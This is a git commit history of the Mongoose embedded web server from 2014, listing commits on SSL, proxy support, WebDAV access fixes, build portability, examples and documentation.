Sergey Lyubka 3a8ae7ac17 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-09-06 10:11:43 +01:00
Sergey Lyubka b116b2fa82 mg_poll_server doc corrected 2014-09-06 10:10:22 +01:00
m.milanovic@levi9.com 7806609773 Added mg_mmap and mg_munmap utility functions for memory mapping files 2014-09-04 15:05:42 +02:00
Sergey Lyubka 72f45aa7e2 Merge pull request #414 from mmicko/master
Fixed compile on varois MINGW versions
2014-09-02 12:34:58 +01:00
m.milanovic@levi9.com 5e3e6a6dce Fixed compile on MINGW so it is confirmed working on versions 4.6.x till 4.9.x 2014-09-02 12:11:21 +02:00
Sergey Lyubka 1388bb1db4 Fixed line endings 2014-09-01 21:02:16 +01:00
Sergey Lyubka 3cc0d16f65 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-09-01 20:55:37 +01:00
Sergey Lyubka b50095fa61 Added $Date$ markers 2014-09-01 20:54:12 +01:00
Sergey Lyubka 7ad85219d8 Merge pull request #413 from mcallegari/master
Fixed build warning of signed/unsigned conditional expression
2014-08-30 12:42:09 +01:00
Massimo Callegari 347a249d10 Fixed build warning of signed/unsigned conditional expression 2014-08-30 13:04:11 +02:00
Sergey Lyubka 07d982129a Passing NS events together with the NC pointer 2014-08-29 23:28:34 +01:00
Sergey Lyubka 73f2602ba0 Updated due to ssl_wrapper.h refactoring 2014-08-26 14:42:24 +01:00
Sergey Lyubka 44561d163a updated travis config 2014-08-22 22:39:48 +01:00
Sergey Lyubka c941a1a39a Proper struct mg_connection cleanup in close_local_endpoint() 2014-08-22 16:26:30 +01:00
Sergey Lyubka bee22312bc removed dead code 2014-08-21 04:13:33 +01:00
Sergey Lyubka bdb16c624c Added MG_RECV event and mg_send_file_data() func 2014-08-21 04:09:06 +01:00
Sergey Lyubka e389e70d05 squashed warn in mg_terminate_ssl() 2014-08-20 21:54:09 +01:00
Sergey Lyubka 695559f691 Updated to the latest SSL wrapper 2014-08-13 09:17:20 +01:00
Sergey Lyubka 13be74b4c6 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-08-11 16:20:25 +01:00
Sergey Lyubka 02a1032fd4 updated ssl_wrapper 2014-08-11 16:19:25 +01:00
Sergey Lyubka 788f35b19c Merge pull request #411 from mmicko/master
Make mongoose compile on mingw environment
2014-08-11 15:01:33 +01:00
Miodrag Milanovic 3721efe1e9 Make mongoose compile on mingw environment 2014-08-11 15:27:23 +02:00
Sergey Lyubka e0822ffb78 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-08-08 14:25:58 +01:00
Sergey Lyubka ae7d5a8f94 Bumping up default timeout from 30 to 300 sec 2014-08-08 14:25:44 +01:00
Sergey Lyubka ced7a2e0b5 Merge pull request #410 from zinosat/avoid_largefile_redefinition
Avoid unconditional definition of _LARGEFILE_SOURCE
2014-08-07 22:13:09 +01:00
Davide Viti 5ed6708468 Avoid unconditional definition of _LARGEFILE_SOURCE
On some build systems (i.e. Buildroot), _LARGEFILE_SOURCE is defined
at "higher level" as default CFLAG definition.
This fix avoids the following compilation warning:

mongoose-5.4/mongoose.c:52:0: warning: "_LARGEFILE_SOURCE" redefined [enabled by default]
 #define _LARGEFILE_SOURCE       // Enable fseeko() and ftello() functions
 ^
<command-line>:0:0: note: this is the location of the previous definition
2014-08-07 22:08:12 +02:00
Sergey Lyubka 9fe53f307b Added http client example 2014-08-05 17:14:41 +01:00
Sergey Lyubka c64d30e1f6 removed make_settings.mak 2014-08-05 16:41:14 +01:00
Sergey Lyubka b4c25fc7ba Added ALL_PROGS 2014-08-05 16:40:51 +01:00
Sergey Lyubka b67b618811 Added guard for MONGOOSE_NO_FILESYSTEM 2014-08-04 22:32:24 +01:00
Sergey Lyubka 5a19438f70 Added guard for MONGOOSE_NO_FILESYSTEM 2014-08-04 22:31:59 +01:00
Sergey Lyubka 860addf1e3 MONGOOSE_NO_SOCKETPAIR -> NS_DISABLE_SOCKETPAIR 2014-08-03 18:56:19 +01:00
Sergey Lyubka 03d571a119 Merge pull request #407 from kuiash/master
Populate HTTP warning codes
2014-08-03 18:29:15 +01:00
Sergey Lyubka 0d9ecffc53 Do not dealloc conn->request in mg_forward() 2014-08-03 12:41:15 +01:00
Daniel O'Connell d4c8384b85 ws_ssl example 2014-08-03 12:40:10 +01:00
Sergey Lyubka bd40145301 moved hex dumping to skeleton 2014-08-01 17:35:59 +01:00
Sergey Lyubka 9b42494316 Added general example makefile settings 2014-08-01 13:30:05 +01:00
Sergey Lyubka 2daff6959f Added #define matrix 2014-08-01 09:11:00 +01:00
Sergey Lyubka e9c434a6a1 updated net skeleton 2014-08-01 09:05:50 +01:00
Sergey Lyubka d6fba7e45d Added travis file 2014-08-01 08:08:54 +01:00
Sergey Lyubka 0a0130b90c removed 2014-08-01 07:53:51 +01:00
Sergey Lyubka facf2af66e Clearing off HTTP headers in close_local_endpoint() 2014-07-31 20:05:25 +01:00
Sergey Lyubka cc54195f59 Added mg_forward() 2014-07-31 20:04:59 +01:00
Sergey Lyubka e2fb707d9f Added SSL_CTX_set_mode() 2014-07-30 11:27:37 +01:00
kuiash 7dfff935d6 Populate HTTP warning codes
Includes changing 201 "Server Error" to "Internal Server Error"
List mostly borrowed from here http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
418 and 451 also added
Local testing showed a problem with 202 reported as "Server Error" instead of "Accepted"
2014-07-29 12:48:22 +01:00
Sergey Lyubka 5727a5c0ed Removed lua examples 2014-07-29 07:39:20 +01:00
Sergey Lyubka 268d2e9cbe better explanation for websocket2.c example 2014-07-28 12:19:00 +01:00
Sergey Lyubka 1e7da874a4 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-07-28 12:15:23 +01:00
Sergey Lyubka 7875a8c2bd release notes for 5.4 2014-07-28 12:15:13 +01:00
Sergey Lyubka b0355d45ae Merge pull request #403 from pavel-pimenov/fix-cache-call-stat
stat - function result cache
2014-07-27 11:13:26 +01:00
Sergey Lyubka 91136d7731 Merge pull request #406 from Cykey/master
Set the correct json content-type
2014-07-27 11:12:52 +01:00
Pavel Pimenov 01a058d29b Remove file_stat_t st_cgi; 2014-07-27 13:10:49 +04:00
Pavel Pimenov e6eca1738f 80 characters limit + remove tabs 2014-07-27 12:53:37 +04:00
Pavel Pimenov 2108ec5a0c Fix style for pointer 2014-07-27 12:44:08 +04:00
David M. bc4e47630a Set the correct json content-type
Chance text/json to application/json to comply with the RFC.

See http://www.ietf.org/rfc/rfc4627.txt for more information.
2014-07-26 20:55:59 -04:00
Pavel Pimenov f41c9a2a1f stat - function result cache 2014-07-23 11:26:20 +04:00
Sergey Lyubka 6c77208236 release notes dates 2014-07-21 21:38:45 +01:00
Sergey Lyubka 386d2e5cd4 fix leak in handle_propfind() 2014-07-18 13:00:43 +01:00
Sergey Lyubka b738fdbffa updated net skeleton 2014-07-08 11:28:03 +01:00
Sergey Lyubka b5704850db Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-07-08 11:10:17 +01:00
Sergey Lyubka 9c67e8960e updated certs 2014-07-08 11:10:08 +01:00
Sergey Lyubka d3dff4e1d5 Merge pull request #391 from pavel-pimenov/pvs-studio-fix-zu
Change printf mask %zu -> %lu
2014-07-07 08:58:23 +01:00
Pavel Pimenov 82872e86fd Change printf mask %zu -> %lu
for MS VC++ compatibility http://stackoverflow.com/questions/15610053/correct-printf-format-specifier-for-size-t-zu-or-iu
2014-07-07 09:24:48 +04:00
Sergey Lyubka ac229b6606 Merge pull request #387 from Z-Wave-Me/master
Disallow WebDAV MKCOL/PUT/DELETE requests to protected files
2014-06-28 21:40:11 +01:00
Alex Skalozub a6bf2bcbf4 Should also disallow PROPFIND as well 2014-06-29 00:03:52 +04:00
Alex Skalozub b0cf8304cb Disallow WebDAV MKCOL/PUT/DELETE requests to protected files (like .htpasswd) 2014-06-28 23:14:21 +04:00
Sergey Lyubka 0d9fe39dbb ns_read_from_socket(): calling recv() in a loop until failure 2014-06-25 11:43:07 +01:00
Sergey Lyubka 708af6d9c5 more comments in big_upload.c 2014-06-24 17:09:00 +01:00
Sergey Lyubka e4c71425c9 Added big_upload.c 2014-06-24 17:04:26 +01:00
Sergey Lyubka 6e07215c1c Using Multiple inputs for upload example 2014-06-24 16:35:59 +01:00
Sergey Lyubka ca9603301e removed trailing newline 2014-06-24 16:35:26 +01:00
Sergey Lyubka d6c388042c QNX SSL upload fix 2014-06-23 13:52:07 +01:00
Sergey Lyubka 6f66d794e8 Refactor NS_POLL case in mg_ev_handler 2014-06-20 11:41:13 +01:00
Sergey Lyubka 1389eec784 Added comment for mg_terminate_ssl() call 2014-06-19 09:55:10 +01:00
Sergey Lyubka 6ef795e082 manual mitm for oracle.com 2014-06-19 09:53:38 +01:00
Sergey Lyubka 1e5d258e9e Wording for licensing clarified 2014-06-18 11:30:57 +01:00
Sergey Lyubka 70eb4c4bbc exported mg_terminate_ssl 2014-06-18 10:59:29 +01:00
Sergey Lyubka a639e10a4d squash QNX warning about execle() call 2014-06-17 13:28:45 +01:00
Sergey Lyubka 48750e67f6 ENABLE_PROXY is visible with MONGOOSE_NO_FILESYSTEM 2014-06-17 10:50:47 +01:00
Sergey Lyubka ce60379af6 sending 405 for proxy request if connect is not allowed 2014-06-16 11:27:17 +01:00
Sergey Lyubka e0b9e4abfd Added enable_proxy 2014-06-16 11:06:57 +01:00
Sergey Lyubka 665f205527 squash warning under mingw 2014-06-16 10:46:50 +01:00
Sergey Lyubka 030daaf5d5 squash warning under mingw 2014-06-16 10:44:56 +01:00
Sergey Lyubka 760511ec49 squashed warning around NS_STACK_SIZE 2014-06-16 10:21:31 +01:00
Sergey Lyubka 203688a34b Added comment for Win32 SO_RESUSEADDR 2014-06-13 10:19:46 +01:00
Sergey Lyubka 29f4703e4f Adding zero-length chunk for long-running requests 2014-06-13 07:57:27 +01:00
Sergey Lyubka 3cec6f6745 keeping alive long-lived connections 2014-06-12 10:58:49 +01:00
Sergey Lyubka abcea07641 Fix #373 2014-06-11 20:37:35 +01:00
Sergey Lyubka 6a54704b29 mg_set_option(): always set correct actual listening port 2014-06-11 20:12:23 +01:00
Sergey Lyubka 8a2fbac4c0 Calling event handler in MITM mode before making connection to the target host 2014-06-11 09:56:34 +01:00
Sergey Lyubka 96ce6bac69 ns_server_poll(): setting current_time to now after select() 2014-06-11 09:44:18 +01:00
Sergey Lyubka 50c0b958ff Added -root cmd line flag to proxy example 2014-06-10 12:22:50 +01:00
Sergey Lyubka 44416902d6 Changed debug in do_proxy() 2014-06-10 12:22:30 +01:00
Sergey Lyubka 25e646c1a1 Squashed warnings for MONGOOSE_NO_FILESYSTEM 2014-06-10 10:26:58 +01:00
Sergey Lyubka bd723bdc38 Removed dead code in websocket2.c 2014-06-09 17:33:26 +01:00
Sergey Lyubka 5e57031724 Added pubsub example 2014-06-09 17:26:22 +01:00
Sergey Lyubka c583913290 Added pubsub example 2014-06-09 17:25:08 +01:00
Sergey Lyubka 870ca615de Added mg_next() 2014-06-09 17:24:51 +01:00
Sergey Lyubka 64b51699f8 Added MG_WS_CONNECT 2014-06-09 16:32:56 +01:00
Sergey Lyubka 50a889dac0 Inlined parse_url() 2014-06-04 12:32:47 +01:00
Sergey Lyubka 0ff0788458 Formatting change for mg_send_file() 2014-06-04 12:32:31 +01:00
Sergey Lyubka fec6009edb mg_send_file() doc changed 2014-06-03 18:49:17 +01:00
Sergey Lyubka c4f172a120 Documented mg_send_file() 2014-06-03 18:45:37 +01:00
Sergey Lyubka 464c77314d Amended file sending example 2014-06-03 18:03:13 +01:00
Sergey Lyubka f51ca8d5d1 Added mg_send_file(). Changed sending function to return send_iobuf length. 2014-06-03 18:02:55 +01:00
Sergey Lyubka 7b37e0cb8b Added simplistic flow control in transfer_file_data() 2014-06-03 17:00:52 +01:00
Sergey Lyubka c7925353e7 Added parens around expression to squash warning under QNX SDP 6.6.0 2014-06-03 14:25:54 +01:00
Sergey Lyubka bd23ec4323 Removed a bit of dead code. Added more comments in proxy_event_handler() 2014-05-29 17:40:06 +01:00
Daniel O'Connell 3671b2632d proxy unit test reference implementation 2014-05-29 17:04:28 +01:00
Daniel O'Connell 25115a694c proxy support changes 2014-05-29 17:04:13 +01:00
Sergey Lyubka 2436f9d6c3 squashed win32 warnings 2014-05-22 07:31:19 +01:00
Sergey Lyubka 2238951c18 Integrated Dans net skeleton changes 2014-05-21 16:18:21 +01:00
Daniel O'Connell f266dd2c94 Removed noisy debug messages 2014-05-20 16:40:47 +01:00
Daniel O'Connell b03358cb03 Fixes for the proxy code 2014-05-19 19:08:02 +01:00
Sergey Lyubka 1bede7e28b Added test for parse_url() 2014-05-19 12:56:07 +01:00
Sergey Lyubka 3536670b82 re-worded FAQ section 2014-05-18 16:13:04 +01:00
Daniel O'Connell 3235c05fd6 Added proxy functionality 2014-05-18 13:22:33 +01:00
Daniel O'Connell 63db54e7b5 Added AV faq 2014-05-18 10:53:54 +01:00
Daniel O'Connell 1db51eb788 Moved sse.html to proxy_web_root/index.html 2014-05-13 14:51:16 +01:00
Daniel O'Connell 0e640ae885 Made setopt() wrapper around mg_set_option() 2014-05-13 13:02:08 +01:00
Daniel O'Connell 1bff6df2a7 Enabled SSL for proxy example 2014-05-13 12:33:27 +01:00
Daniel O'Connell d0e66de225 Re-added ssl_ca_certificate option 2014-05-13 12:30:30 +01:00
Daniel O'Connell f537670ce2 Synced net skeleton 2014-05-13 12:28:39 +01:00
Daniel O'Connell 4cb3341a15 Added proxy example, with SSE html page 2014-05-13 11:22:31 +01:00
Daniel O'Connell d52d9a4a6f Added pem files 2014-05-13 11:08:18 +01:00
Daniel O'Connell 4a076c7ea4 Added proxy to the clean target 2014-05-13 10:56:32 +01:00
Sergey Lyubka db6e883c22 Added mg_wakeup_server_ex(), removed mg_wakeup_server() and mg_iterate_over_connections() 2014-05-13 09:33:10 +01:00
Sergey Lyubka 804da054b5 Removed extra line in the comment 2014-05-12 23:24:03 +01:00
Sergey Lyubka fb4e701545 Added mg_wakeup_server_ex() for pushing data 2014-05-12 23:22:57 +01:00
Sergey Lyubka ccff4abf13 Added proxy target 2014-05-12 10:47:08 +01:00
Sergey Lyubka 24a7936907 Squashed warning for non-ssl case in ns_set_ssl_ca_cert() 2014-05-11 16:05:07 +01:00
Sergey Lyubka 0993994139 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-05-11 13:43:10 +01:00
Sergey Lyubka 8b740536de Added ssl_ca_certificate option 2014-05-11 13:42:59 +01:00
Sergey Lyubka e851aac853 Merge pull request #371 from cry-inc/master
Fixed wrong behavior of mg_set_option() with option "listening_port" caused by SO_REUSEADDR when using Windows
2014-05-07 17:00:36 +01:00
cry-inc a39861b7bf Fixed wrong behavior of mg_set_option() with option "listening_port" caused by SO_REUSEADDR when using Windows 2014-05-07 16:38:23 +02:00
Sergey Lyubka 63490249ba Merge pull request #368 from cry-inc/master
Fixed wrong MIME type for .rar files
2014-04-30 10:45:09 +01:00
cry-inc 704f057384 Fixed wrong MIME type for .rar files 2014-04-30 10:30:35 +02:00
Sergey Lyubka 40968bc496 Moved other products in a different section 2014-04-30 09:18:55 +01:00
Sergey Lyubka 6873f3c5f6 Removed idle_timeout_ms 2014-04-29 18:01:25 +01:00
Sergey Lyubka ba5cd7267a Added MONGOOSE_SEND_NS_EVENTS to the embedding doc 2014-04-28 15:04:39 +01:00
Sergey Lyubka 1bb98e5e8e Exported mg_websocket_printf(), mg_url_encode(). Added unit test for mg_url_encode() 2014-04-25 18:04:24 +01:00
Sergey Lyubka a7774d0f1a Added mg_websocket_printf(). added MONGOOSE_SEND_NS_EVENTS 2014-04-24 14:09:54 +01:00
Sergey Lyubka f52c756fbb Calling SSL_free() in ns_close_conn() 2014-04-16 16:45:31 +01:00
Sergey Lyubka cc586c6ba2 php->basic 2014-04-15 14:13:38 +01:00
Sergey Lyubka 606eab7f4f Passing PUT content to the event handler 2014-04-14 16:14:13 +01:00
Sergey Lyubka 872b85b5f2 more on -access_control_list 2014-04-14 13:03:47 +01:00
Sergey Lyubka 35bd2b6032 Added form.c 2014-04-10 22:18:01 +01:00
Sergey Lyubka c5287b9044 iobuf_append() refactored: allocating exactly as many bytes as needed 2014-04-09 23:52:16 +01:00
Sergey Lyubka 223f6d960e README message changed 2014-04-09 18:10:49 +01:00
Sergey Lyubka 464b895116 Added enum for websocket opcodes 2014-04-09 15:16:03 +01:00
Sergey Lyubka 05d7b7c8bc Added MG_WS_HANDSHAKE 2014-04-09 11:55:36 +01:00
Sergey Lyubka d8b4db37a0 Squashed warnings 2014-04-09 11:37:08 +01:00
Sergey Lyubka 6bb49c780c Updated net skeleton code 2014-04-09 11:32:23 +01:00
Sergey Lyubka 3a60c5764d Unit test target corrected 2014-04-07 19:07:41 +01:00
Sergey Lyubka a8b38e4ab9 mg_set_option() sets NULL if value is empty 2014-03-31 15:02:20 +01:00
Sergey Lyubka 8750f8af1f Added cast in try_parse() 2014-03-31 09:51:47 +01:00
Sergey Lyubka e94a02dc12 Added more in 5.4 release notes 2014-03-31 09:49:42 +01:00
Sergey Lyubka 5680b0fcc5 Removed redundant cast in try_parse() 2014-03-31 09:34:31 +01:00
Sergey Lyubka 33c56b0edc Init local_ip and local_port properly in mg_connection 2014-03-30 22:50:10 +01:00
Sergey Lyubka e62e48397d Keeping absolute path for config file 2014-03-30 16:00:03 +01:00
Sergey Lyubka 8be30350be mg_set_option(): allow NULL as value. Fast success if old_value == new_value. 2014-03-30 15:59:39 +01:00
Sergey Lyubka 2609a2ab72 Fixed comment for mg_template() 2014-03-30 12:47:27 +01:00
Sergey Lyubka 5a04ab2c56 Added mg_template() function 2014-03-30 12:45:48 +01:00
Sergey Lyubka 4739de6c28 Removed DLL interface and Lua conditional 2014-03-30 12:34:32 +01:00
Sergey Lyubka 639d7a2fd8 Fixing MinGW compilation: pid_t -> process_id_t 2014-03-28 09:18:38 +00:00
Sergey Lyubka 8115ce1d82 Handling SSL_write() error 2014-03-27 11:18:20 +00:00
Sergey Lyubka 3558b587b7 Fixed linking problem for -DMONGOOSE_NO_FILESYSTEM 2014-03-27 10:13:34 +00:00
Sergey Lyubka e21ec58ea8 dav fixes: using auth if auth file is set 2014-03-26 23:13:14 +00:00
Sergey Lyubka 74135bca7d link fixed 2014-03-26 18:58:58 +00:00
Sergey Lyubka d369f31608 return 404 for non-existent propfind URIs 2014-03-26 16:34:55 +00:00
Sergey Lyubka d4b14ca3c1 Better API documentation 2014-03-26 14:13:30 +00:00
Sergey Lyubka f0994896d5 FileSharing doc nitpick 2014-03-26 12:27:44 +00:00
Sergey Lyubka cfdd430b98 Added hexdump_file option 2014-03-26 12:20:02 +00:00
Sergey Lyubka a6c05a9e83 changed handle_propfind() to report only dir entry when listing dir 2014-03-24 20:39:32 +00:00
Sergey Lyubka 94f63787bb Restored void * parameter for iterate_over_connections() 2014-03-24 16:01:45 +00:00
Sergey Lyubka 367f5df328 match_prefix -> mg_match_prefix 2014-03-24 16:00:17 +00:00
Sergey Lyubka f096138d6e Added release note 2014-03-23 20:02:41 +00:00
Sergey Lyubka 0d00cd51e6 Fix #356 2014-03-23 19:59:03 +00:00
Sergey Lyubka b216210a13 Moving lua server side to server.c 2014-03-23 15:33:39 +00:00
Sergey Lyubka 166833f330 Added release notes 2014-03-21 11:47:52 +00:00
Sergey Lyubka 4d6bedfd4e Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-03-20 15:01:18 +00:00
Sergey Lyubka ace8c1736c Added mg_load_dll() 2014-03-20 15:01:05 +00:00
Sergey Lyubka c658a54d18 changed set_absolute_path() signature 2014-03-20 14:58:37 +00:00
Sergey Lyubka 781a1dc25e Merge pull request #352 from ranzhengyuan/some-idea
I think that when the socket invalid, the return value should be -1.
2014-03-20 10:34:18 +00:00
冉正源 3ea3b8dfa4 I think that the socket is invalid, the return should be -1. 2014-03-19 22:32:41 +08:00
Sergey Lyubka a514e143ff updated faw and tutorials 2014-03-19 11:41:01 +00:00
Sergey Lyubka e1486a79e3 Merge pull request #350 from solomonhuang/nodav
Remove MONGOOSE_NO_DAV on DAV_AUTH_FILE options
2014-03-19 11:25:15 +00:00
Sergey Lyubka ee615248e3 Merge pull request #351 from da4089/master
Tyop fix.
2014-03-19 09:33:58 +00:00
David Arnold 687e0e2ee8 Tyop fix. 2014-03-19 04:49:47 +00:00
Solomon Huang 19aefcb7dd Remove MONGOOSE_NO_DAV on DAV_AUTH_FILE options
Building with -DMONGOOSE_NO_DAV will fail.
2014-03-19 01:53:02 +08:00
Sergey Lyubka 6a46244a21 embedding guide for MG_POLL fixed 2014-03-14 08:19:54 +00:00
Sergey Lyubka 60674c11c9 API docs regarding MG_POLL changed 2014-03-13 12:23:53 +00:00
Sergey Lyubka 91c9ab807b Forwarding POST data to the CGI process 2014-03-12 22:43:04 +00:00
Sergey Lyubka 9231c7346c match_prefix -> mg_match_prefix 2014-03-12 18:35:36 +00:00
Sergey Lyubka 20cb3a823a Added ecos & qnx 2014-03-12 14:19:36 +00:00
Sergey Lyubka cbd8d69e6d Added hello world for Lua 2014-03-12 12:47:41 +00:00
Sergey Lyubka f7fcfa6a42 Fixed C# example to work with 5.3 2014-03-12 12:31:53 +00:00
Sergey Lyubka 293c5e5852 Moved screenshots down 2014-03-11 16:59:17 +00:00
Sergey Lyubka ceb866b4ee Using img tags for screenshots 2014-03-11 16:57:38 +00:00
Sergey Lyubka 2f9166e96e Added screenshots for mongoose 2014-03-11 16:51:54 +00:00
Sergey Lyubka fe0e0e69e5 File sharing tutorial wording 2014-03-11 15:36:23 +00:00
Sergey Lyubka db96641c10 Added logo 2014-03-11 06:13:59 +00:00
Sergey Lyubka fe83928ca4 Added logo 2014-03-11 06:11:56 +00:00
Sergey Lyubka 014414f17f Docs links made separate 2014-03-11 06:07:06 +00:00
Sergey Lyubka 6ffe2d7f7a Typo fixed in readme 2014-03-11 06:04:44 +00:00
Sergey Lyubka 30c82d7efe Wording in README changed 2014-03-11 06:03:20 +00:00
Sergey Lyubka 999c4ad26c 5.3 -> 5.4 2014-03-10 17:02:00 +00:00
Sergey Lyubka 30a7965135 added lsp link 2014-03-10 11:21:52 +00:00
Sergey Lyubka a8a017a048 docs updated 2014-03-10 09:23:06 +00:00
Sergey Lyubka eac8ffabc4 docs updated 2014-03-10 09:19:01 +00:00
Sergey Lyubka a7a17711ec Resetting endpoint_type in open_local_endpoint() 2014-03-10 08:35:41 +00:00
Sergey Lyubka 18e28ef879 Added lua includes 2014-03-09 20:22:51 +00:00
Sergey Lyubka ce7515fca9 Merge pull request #349 from jhorneman/master
Exposing Lua support functions
2014-03-09 20:18:49 +00:00
Jurie Horneman d5a78fb664 Fixed bug. 2014-03-09 21:12:34 +01:00
Jurie Horneman 1b3a1b74ac Exposed Lua support functions. 2014-03-09 21:11:06 +01:00
Sergey Lyubka 8dd76e6ef4 Using ns_start_thread() 2014-03-09 19:50:34 +00:00
Sergey Lyubka 976b5f37c1 Added Lua callback 2014-03-09 19:30:41 +00:00
Sergey Lyubka 31489ab7b1 Lua fixes 2014-03-09 19:26:58 +00:00
Sergey Lyubka 1eb59940a4 Re-init rewrites var in convert_uri_to_file_name() 2014-03-09 13:27:39 +00:00
Sergey Lyubka 576d769b56 Corrected links in tutorials 2014-03-09 13:13:25 +00:00
Sergey Lyubka afaba7ee17 Lua calls, birth_time fixed 2014-03-09 13:13:13 +00:00
Sergey Lyubka 40f257ef2b lua build instructions fixed 2014-03-09 13:12:49 +00:00
Sergey Lyubka 5840dc8153 Links updated 2014-03-07 17:08:23 +00:00
Sergey Lyubka 5ed3dafb56 Added warning about PHP 5.5 2014-03-07 14:46:24 +00:00
Sergey Lyubka b99bf306ec fixed image links 2014-03-07 14:40:34 +00:00
Sergey Lyubka 89fae72aa7 added 2014-03-07 14:24:37 +00:00
Sergey Lyubka ab147e8f19 Added MONGOOSE_NO_SSI to MONGOOSE_NO_FILESYSTEM 2014-03-06 13:37:23 +00:00
Sergey Lyubka 81a78f9c8b Added query string to access log 2014-03-05 11:22:23 +00:00
Sergey Lyubka 370aeefdde Added error pages and vhosts to readme 2014-03-05 11:19:18 +00:00
Sergey Lyubka c5407a75f4 #define EV_HANDLER NULL in server.c 2014-03-05 10:12:43 +00:00
Sergey Lyubka 7217aa22f1 Embedded guide 2014-03-05 02:53:19 +00:00
Sergey Lyubka 69bd5f7aa2 SSL_accept logic fix 2014-03-05 02:19:05 +00:00
Sergey Lyubka 41b3c1b23e warning squashed in convert_uri_to_file_name() 2014-03-05 01:59:58 +00:00
Sergey Lyubka f639409533 warning squashed in convert_uri_to_file_name() 2014-03-05 01:59:32 +00:00
Sergey Lyubka 67c44799c8 SSL_accept() error handling fix 2014-03-05 01:57:09 +00:00
Sergey Lyubka 4646e2ad55 Added mjpg example 2014-03-04 20:23:37 +00:00
Sergey Lyubka b77532ea3f Added mjpg example 2014-03-04 20:22:46 +00:00
Sergey Lyubka ed8168e8a1 Added virtual hosts support via url_rewrites 2014-03-04 16:15:02 +00:00
Sergey Lyubka 39e2d2ad55 Appending query_string to the URI when redirecting on HTTP error 2014-03-04 15:01:05 +00:00
Sergey Lyubka 27c6656398 SSL_accept fixes 2014-03-04 13:23:40 +00:00
Sergey Lyubka ffe83051fe build fixed 2014-03-04 13:15:56 +00:00
Sergey Lyubka 93cd77ffad Changed links 2014-03-03 21:18:57 +00:00
Sergey Lyubka 279c06c64c Cleaned up cruft from mongoose.h 2014-03-03 10:56:17 +00:00
Sergey Lyubka 570c8213b6 Cleaned unit test 2014-03-03 10:54:35 +00:00
Sergey Lyubka f521999ea6 Calling EP_CLIENT on close 2014-03-03 10:27:56 +00:00
Sergey Lyubka e41df3cf9c MG_REQ_BEGIN -> MG_REQUEST, killed MG_REQ_END, add MG_REPLY. Restored server test 2014-03-03 10:26:27 +00:00
Sergey Lyubka 65f484291f got rid of multiline comment 2014-03-03 09:45:00 +00:00
Sergey Lyubka 77db89961b mg_stat() fix for paths like X:\ 2014-03-03 01:00:38 +00:00
Sergey Lyubka ad50310bb6 Added index.shtml to index files 2014-03-02 19:49:15 +00:00
Sergey Lyubka 66ec3d1f1e Added defines for popen and pclose, for SSI under Win32 2014-03-02 18:50:02 +00:00
Sergey Lyubka a9da86d05c Mentioned SSI 2014-03-02 18:28:40 +00:00
Sergey Lyubka 5f25a88821 Restored SSI functionality 2014-03-02 18:27:51 +00:00
Sergey Lyubka fd7dc33645 unbroke unit test 2014-03-02 17:20:24 +00:00
Sergey Lyubka 9c22771a43 Merge pull request #345 from nielsegberts/master
Also clean up multi_threaded and websocket_html.c on make clean
2014-03-02 15:48:25 +00:00
Niels Egberts 11640cc3c6 Also clean up multi_threaded and websocket_html.c on make clean 2014-03-02 14:55:34 +00:00
Sergey Lyubka 2264520a2f Example changed to evented API 2014-03-02 13:05:00 +00:00
Sergey Lyubka 2f0b411ddd Added -pthread flag to unix compilation example 2014-03-02 13:00:44 +00:00
Sergey Lyubka e0aceb4f3a Fixed windows build for examples 2014-03-02 12:23:53 +00:00
Sergey Lyubka ea9a60a59a Updated examples to conform to the evented API 2014-03-02 12:16:09 +00:00
Sergey Lyubka 458320cffb Fixed #343 in conn2() for Lua 2014-03-02 10:12:12 +00:00
Sergey Lyubka e0214af422 Using private ns_avprintf() in mg_printf_data() 2014-03-02 10:07:30 +00:00
Sergey Lyubka df5e997ea7 ns_server_poll() waking up by ns_server_wakeup() 2014-03-01 01:55:40 +00:00
Sergey Lyubka 0a3cb63c73 Added mg_wakeup_server() 2014-03-01 01:47:01 +00:00
Sergey Lyubka 37f7f3fb12 Merge pull request #339 from nenioscio/master
Fix issue #338
2014-03-01 01:19:31 +00:00
Sergey Lyubka 2ac970fa16 Moving to event-based API, temporary breaking tests 2014-03-01 01:17:39 +00:00
Sergey Lyubka de35a353d4 pphp -> php 2014-02-27 22:02:18 +00:00
Klaus Wagner dbbda02f70 Fix issue #338 2014-02-27 22:12:46 +01:00
Sergey Lyubka 725c30446c more docs 2014-02-25 20:39:34 +00:00
Sergey Lyubka 60473ae41a more docs 2014-02-25 20:39:00 +00:00
Sergey Lyubka 951d20f904 Added coniditional to use net_skeleton separately 2014-02-25 18:52:23 +00:00
Sergey Lyubka 85a6abd58b Clearing flags in close_local_endpoint() 2014-02-25 12:02:45 +00:00
Sergey Lyubka 2fbe09ad7c Restored jni build dir for Android 2014-02-25 08:12:42 +00:00
Sergey Lyubka 23325efab2 Added time.h 2014-02-25 08:10:19 +00:00
Sergey Lyubka 107902bae4 add_to_set(): fix around non-negative SOCKET on Windows 2014-02-24 08:22:40 +00:00
Sergey Lyubka 9bbf4c8384 Fixed problem with mg_printf_data() 2014-02-22 16:11:47 +00:00
Sergey Lyubka c39a712540 Win32 build fix 2014-02-21 14:13:06 +00:00
Sergey Lyubka e9f6111ba1 re-added signal.h 2014-02-20 17:47:07 +00:00
Sergey Lyubka ba267a32fd squashed warning in read_from_socket 2014-02-20 17:44:47 +00:00
Sergey Lyubka f64ebbe0b1 Guarded on_cgi_data() call by ifdef, thanks to Pavel Pimenov 2014-02-20 12:33:46 +00:00
Sergey Lyubka 8865dd5e84 Moved unit_test.c to examples 2014-02-20 12:13:59 +00:00
Sergey Lyubka ce57f47de0 Added missing signal.h 2014-02-20 09:49:42 +00:00
Sergey Lyubka 48be2dbc2a Added conditional for handling idle websocket conns 2014-02-20 07:32:33 +00:00
Sergey Lyubka 8905522a94 Setting last_io_time in ns_add_sock() 2014-02-20 06:26:44 +00:00
Sergey Lyubka eea1680cf9 open_cgi_endpoint() strrchr fix 2014-02-19 16:44:01 +00:00
Sergey Lyubka d5004cb7eb PF_INET -> AF_INET, unbreaks FreeBSD 2014-02-19 16:39:30 +00:00
